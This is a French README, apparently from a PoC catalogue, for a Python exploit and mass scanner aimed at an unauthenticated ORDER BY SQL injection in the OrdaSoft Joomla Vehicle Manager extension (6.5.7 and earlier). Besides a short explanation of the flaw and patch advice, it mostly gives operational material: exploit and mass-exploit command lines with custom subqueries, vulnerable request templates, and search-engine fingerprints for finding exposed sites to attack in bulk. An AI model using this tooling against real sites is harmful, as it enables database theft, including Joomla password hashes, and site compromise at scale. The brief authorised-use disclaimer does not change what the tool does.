
PoC Python 3 et scanner de masse pour CVE-2026-101108, une injection SQL ORDER BY non authentifiée dans OrdaSoft Joomla Vehicle Manager <=6.5.7 (com_vehiclemanager).
PoC Python 3 pour CVE-2026-101108 — extension Joomla OrdaSoft Vehicle Manager (Free) ≤ 6.5.7. Corrigé dans 6.5.8+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101108 |
| Catalogue | https://pocbit.org/pocs/ |
| Composant | com_vehiclemanager |
| Fichier | site/vehiclemanager.php |
| Paramètres | order_field, order_direction → ORDER BY (non quoté) |
| Auth | Aucune (vues publiques catégorie / recherche / tous les véhicules) |
| CWE | CWE-89 Injection SQL |
| CVSS 4.0 | 9.3 Critique (Joomla CNA) |
Vehicle Manager (Free) est une extension OrdaSoft qui propose des annonces de véhicules (catégorie, recherche, tous les véhicules) sous Joomla. Dans les versions 6.5.7 et antérieures, les paramètres de tri order_field et order_direction sont traités dans site/vehiclemanager.php : un échappement (escaping) est appliqué à l'entrée, mais comme la valeur est placée dans une expression ORDER BY non quotée, l'échappement reste inefficace contre l'injection SQL (description du CNA).
Un attaquant, sans authentification, peut lire/écrire dans la base de données, ce qui constitue un risque critique pour les hashs d'utilisateurs Joomla et l'intégrité du site. Mettez à niveau vers 6.5.8 ou une version ultérieure.
Le code Joomla/PHP typique peut faire passer l'entrée utilisateur par un « assainisseur » qui échappe les guillemets pour les littéraux de chaîne. Dans un ORDER BY, les noms de colonnes et les expressions ne sont pas des littéraux de chaîne — la clé de tri est concaténée en tant que structure SQL. Un attaquant fournit des expressions telles que des sous-requêtes basées sur les erreurs au lieu d'un véritable nom de colonne. Le texte du CNA pour CVE-2026-101108 documente explicitement ce schéma de contournement d'échappement.
Points d'entrée frontend anonymes affectés :
showCategory)search / tâches associées)showVehicles et similaires)| Mode | Comportement |
|---|---|
| check | Empreinte du composant + version du manifeste, découverte de catid/Itemid, confirmation de l'injection SQL |
| exploit | Double requête de type EXTRACTVALUE basée sur les erreurs via ORDER BY |
| mass | --list + -j pour vérification en masse ou extraction en masse |
Vecteurs d'injection essayés (le premier réussi l'emporte en mode exploit) :
order_field GETorder_direction GET (asc,<subquery>)order_field POSTorder_direction POSTChamps JSONL : pocbit, pocbit_catalog, pocbit_page, cve, component.
cd CVE-2026-101108
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py -u https://target.example --mode exploit --vector order_direction_get
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 15 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Option | Signification |
|---|---|
--aggressive | Le mode check tente également une fuite via SELECT VERSION() |
--subquery | SELECT interne pour la charge basée sur les erreurs (MySQL) |
--vector | Force l'un des quatre vecteurs ORDER BY |
--exploited-list | Fuites séparées par des tabulations en cas d'exploit réussi |
--no-color | CLI en texte brut (NO_COLOR respecté) |
Codes de sortie : mode exploit 0 lorsque exploited: true ; mode check 0 lorsque exploitable_candidate.
Route de catégorie (paramètres de tri ajoutés par le PoC) :
GET /index.php?option=com_vehiclemanager&task=showCategory&catid=1&order_field=<payload>&order_direction=asc HTTP/1.1
Route de recherche de base construite par le PoC :
GET /index.php?option=com_vehiclemanager&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=all&transmission=all HTTP/1.1
Lorsque lisible :
/administrator/components/com_vehiclemanager/vehiclemanager.xmlVersion ≤ 6.5.7 → likely_vulnerable_version. ≥ 6.5.8 → patched_version.
body="option=com_vehiclemanager"
body="/components/com_vehiclemanager/" && body="Joomla"
title="Vehicle" && body="com_vehiclemanager"
body="ordasoft" && body="vehiclemanager"
Exportez les hôtes vers targets.txt (une URL de base par ligne), puis check → hits → exploit uniquement sur des actifs autorisés.
Même fenêtre de divulgation que les CVE Real Estate Manager (par ex. CVE-2026-100752 / CVE-2026-100753) : plusieurs extensions Joomla OrdaSoft ont reçu des correctifs SQLi/XSS. Si vous utilisez Vehicle Manager, corrigez tous les composants OrdaSoft que vous déployez.
| CVE | Produit | Problème | Corrigé |
|---|---|---|---|
| CVE-2026-101108 | Vehicle Manager (Free) | SQLi ORDER BY non authentifiée | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | SQLi ORDER BY non authentifiée | 6.7.9 |
Crédit (CNA) : Ala Arfaoui.
com_vehiclemanager (versions plus anciennes, paramètres de recherche) — surface de composant distincte mais apparentéeTests de sécurité autorisés et validation de correctifs uniquement.
CVE-2026-101108 PoC: OrdaSoft Joomla Vehicle Manager (Free) <=6.5.7 unauth SQLi — order_field/order_direction unquoted ORDER BY (com_vehiclemanager). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101108